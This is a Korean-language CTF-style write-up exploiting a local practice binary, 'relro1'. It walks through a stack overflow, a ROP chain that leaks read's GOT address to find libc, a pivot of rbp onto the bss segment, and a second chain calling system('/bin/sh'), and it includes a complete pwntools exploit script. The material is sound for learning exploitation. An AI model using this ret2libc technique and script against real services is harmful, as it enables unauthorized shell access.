
NX와 full relro만 켜져있다.

ida로 까봤다. buf의 크기는 정확히 모르겠지만(0x30이라고 생각했는데, ida로 보니 아닌 거 같기도 하고..?), 일단 buf의 위치는 rbp로부터 0x30만큼 떨어져있다.
그런데 read 함수에서 0x70만큼 입력을 받고 있다. canary도 없이니 bof하기 딱 좋은 상황이다!
먼저 system 함수가 내부에 없으니 libc_base를 구해야 한다. 따라서 첫번째 rop로는 puts함수를 이용해서 read함수의 got를 출력해준다. (puts함수를 실행할 때에 read 함수 밖에 실행된 적이 없으므로 실제 함수의 주소를 얻기 위해서는 read 함수의 got를 참조해야한다!)
그렇게 read의 실제 주소를 구하기 libc_base를 구한다. 구한 libc_base로 system 함수의 실제 주소와 /bin/sh의 실제 주소를 구한다.
payload= b'A'*0x30
payload+= p64(bss)
payload+= p64(p_rdi) + p64(read_got)
payload+= p64(ret)
payload+= p64(puts_plt)
payload+= p64(main_after_check)
pause()
p.send(payload)
leak=u64(p.recvuntil(b"x7f")[-6:].ljust(8,b"x00"))
log.info('leak data - '+hex(leak))
libc_base=leak - read_offset
log.info('libc_base - '+hex(libc_base))
system= libc_base + system_offset
binsh= libc_base + binsh_offset
여기까지가 첫번째 read에서 할 수 있는 것들이다. 추가로 말하지 못한 것이 있는데, main 함수의 read를 다시 실행시키기 위해 puts_plt 뒤에 main 함수의 check 이후 부분 코드 주소를 넣어준다. 그렇게 하면 함수의 프롤로그는 건너뛰지만 read 함수만을 실행시킬 수 있다.
여기서 중요한 것은 함수의 프롤로그를 건너뛰기에 payload에서 main의 sfp를 다음 rbp가 가리킬 곳으로 잘 덮어줘야 한다. rbp가 어디를 향하게 덮을지 고민하다가 현재 stack에는 주소를 아는 곳이 마땅치 않기에 bss + 0x700으로 지정해줬다. (0x700을 더해준 이유는 조금 이따 설명하겠다.)
이렇게 해서 rbp가 bss+0x700을 가리키고 있고, read 함수를 실행시키면 rbp-0x30부터 입력을 실행하며, main이 종료하면서 leave; ret;을 만나서 rsp가 rbp 위치로 이동하기에 그에 맞게 payload를 짜줘야 한다.
이를 구현한 코드는 다음과 같다.
payload= b'A' * 0x38
payload+= p64(p_rdi) + p64(binsh)
payload+= p64(ret)
payload+= p64(system)
pause()
p.send(payload)
그렇다면 rbp의 위치는 왜 그냥 bss의 주소로 하지 않고 bss+0x700으로 했을까? 처음에 그냥 bss로 했더니, bss보다 낮은 주소에 입력을 하게 되어 코드가 자동으로 종료되었다.
그래서 bss +0x1000으로 했더니 이번엔 너무 높은 주소에 입력을 하게 되어 또 종료되었다.
그래서 bss + 0x500으로 했더니, 이번엔 입력을 잘 들어갔지만 system 함수 내부에서 일련의 과정을 진행하다보니 rsp가 점점 더 낮은 주소로 내려갔고, 그러다가 bss 외의 영역을 건드려서 또 코드가 그냥 종료되었다.
그래서 결국 0x700을 해봤더니 정상적으로 실행되었다!
과정을 정리하면 다음과 같다.

전체 exploit 코드는 다음과 같다.
from pwn import *
#context.log_level = 'debug'
p = process('./relro1')
e= ELF('./relro1')
libc= ELF('/lib/x86_64-linux-gnu/libc.so.6')
p_rdi=0x401263
p_rsi_r15=0x401261
ret=0x40101a
bss=0x404010 +0x700
puts_plt=e.plt['puts']
#puts_got=e.got['puts']
read_plt=e.plt['read']
read_got=e.got['read']
read_offset=libc.symbols['read']
system_offset=libc.symbols['system']
binsh_offset=0x1d8698
main_after_check=0x4011d2
payload= b'A'*0x30
payload+= p64(bss)
payload+= p64(p_rdi) + p64(read_got)
payload+= p64(ret)
payload+= p64(puts_plt)
payload+= p64(main_after_check)
pause()
p.send(payload)
leak=u64(p.recvuntil(b"x7f")[-6:].ljust(8,b"x00"))
log.info('leak data - '+hex(leak))
libc_base=leak - read_offset
log.info('libc_base - '+hex(libc_base))
system= libc_base + system_offset
binsh= libc_base + binsh_offset
payload= b'A' * 0x38
payload+= p64(p_rdi) + p64(binsh)
payload+= p64(ret)
payload+= p64(system)
pause()
p.send(payload)
p.interactive()

쉘 따기 성공!